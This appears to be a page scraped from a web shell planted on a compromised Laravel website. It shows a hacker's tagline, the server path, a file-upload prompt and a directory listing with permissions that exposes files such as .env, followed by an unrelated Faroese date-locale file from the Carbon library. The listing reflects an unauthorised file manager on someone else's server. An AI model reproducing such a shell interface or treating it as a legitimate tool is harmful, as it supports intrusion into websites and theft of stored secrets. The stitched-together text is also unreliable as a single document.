I am a hacker in the dark of a very cold night
path :/var/www/html/vorne.webheaydemo.com
upload file:
List of files:
| name file |
size |
edit |
permission |
action |
| .editorconfig | 276 KB | March 05 2024 07:12:34 | 0666 |
|
| .env | 1385 KB | May 24 2024 16:43:55 | 0666 |
|
| .env.example | 1088 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitattributes | 190 KB | March 05 2024 07:12:34 | 0666 |
|
| .gitignore | 245 KB | March 05 2024 07:12:34 | 0666 |
|
| .htaccess | 947 KB | July 04 2023 21:25:08 | 0664 |
|
| .rnd | 1024 KB | March 13 2024 04:51:14 | 0666 |
|
| README.md | 472 KB | March 22 2024 10:35:00 | 0666 |
|
| app | - | March 05 2024 07:12:34 | 0777 |
|
| artisan | 1739 KB | March 05 2024 07:12:34 | 0666 |
|
| bootstrap | - | March 05 2024 07:12:34 | 0777 |
|
| composer.json | 2829 KB | May 13 2024 12:10:04 | 0666 |
|
| composer.lock | 417205 KB | March 19 2024 12:13:14 | 0666 |
|
| config | - | July 03 2025 02:53:36 | 0777 |
|
| database | - | March 05 2024 07:12:34 | 0777 |
|
| index.php | 1816 KB | May 13 2024 10:32:36 | 0666 |
|
| lang | - | May 13 2024 14:53:26 | 0777 |
|
| manifest.json | 913 KB | May 14 2024 03:57:26 | 0664 |
|
| package.json | 398 KB | March 05 2024 07:12:34 | 0666 |
|
| phpunit.xml | 1206 KB | March 05 2024 07:12:34 | 0666 |
|
| public | - | July 03 2025 02:37:20 | 0777 |
|
| resources | - | May 13 2024 12:09:36 | 0777 |
|
| routes | - | March 05 2024 07:12:34 | 0777 |
|
| service-worker.js | 924 KB | March 05 2024 07:12:34 | 0666 |
|
| storage | - | March 05 2024 10:03:52 | 0777 |
|
| symlink.php | 218 KB | March 05 2024 07:12:34 | 0666 |
|
| tests | - | March 05 2024 07:12:34 | 0777 |
|
| vendor | - | March 19 2024 12:13:14 | 0777 |
|
| vite.config.js | 326 KB | March 05 2024 07:12:34 | 0666 |
|
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
/*
* Authors:
* - Kristian Sakarisson
* - François B
* - JD Isaacks
* - Sverri Mohr Olsen
*/
return [
'year' => 'eitt ár|:count ár',
'y' => ':count ár|:count ár',
'month' => 'ein mánaði|:count mánaðir',
'm' => ':count mánaður|:count mánaðir',
'week' => ':count vika|:count vikur',
'w' => ':count vika|:count vikur',
'day' => 'ein dagur|:count dagar',
'd' => ':count dag|:count dagar',
'hour' => 'ein tími|:count tímar',
'h' => ':count tími|:count tímar',
'minute' => 'ein minutt|:count minuttir',
'min' => ':count minutt|:count minuttir',
'second' => 'fá sekund|:count sekundir',
's' => ':count sekund|:count sekundir',
'ago' => ':time síðani',
'from_now' => 'um :time',
'after' => ':time aftaná',
'before' => ':time áðrenn',
'diff_today' => 'Í',
'diff_yesterday' => 'Í',
'diff_yesterday_regexp' => 'Í(?:\\s+gjár)?(?:\\s+kl.)?',
'diff_tomorrow' => 'Í',
'diff_tomorrow_regexp' => 'Í(?:\\s+morgin)?(?:\\s+kl.)?',
'diff_today_regexp' => 'Í(?:\\s+dag)?(?:\\s+kl.)?',
'formats' => [
'LT' => 'HH:mm',
'LTS' => 'HH:mm:ss',
'L' => 'DD/MM/YYYY',
'LL' => 'D MMMM YYYY',
'LLL' => 'D MMMM YYYY HH:mm',
'LLLL' => 'dddd D. MMMM, YYYY HH:mm',
],
'calendar' => [
'sameDay' => '[Í dag kl.] LT',
'nextDay' => '[Í morgin kl.] LT',
'nextWeek' => 'dddd [kl.] LT',
'lastDay' => '[Í gjár kl.] LT',
'lastWeek' => '[síðstu] dddd [kl] LT',
'sameElse' => 'L',
],
'ordinal' => ':number.',
'months' => ['januar', 'februar', 'mars', 'apríl', 'mai', 'juni', 'juli', 'august', 'september', 'oktober', 'november', 'desember'],
'months_short' => ['jan', 'feb', 'mar', 'apr', 'mai', 'jun', 'jul', 'aug', 'sep', 'okt', 'nov', 'des'],
'weekdays' => ['sunnudagur', 'mánadagur', 'týsdagur', 'mikudagur', 'hósdagur', 'fríggjadagur', 'leygardagur'],
'weekdays_short' => ['sun', 'mán', 'týs', 'mik', 'hós', 'frí', 'ley'],
'weekdays_min' => ['su', 'má', 'tý', 'mi', 'hó', 'fr', 'le'],
'first_day_of_week' => 1,
'day_of_first_week_of_year' => 4,
'list' => [', ', ' og '],
];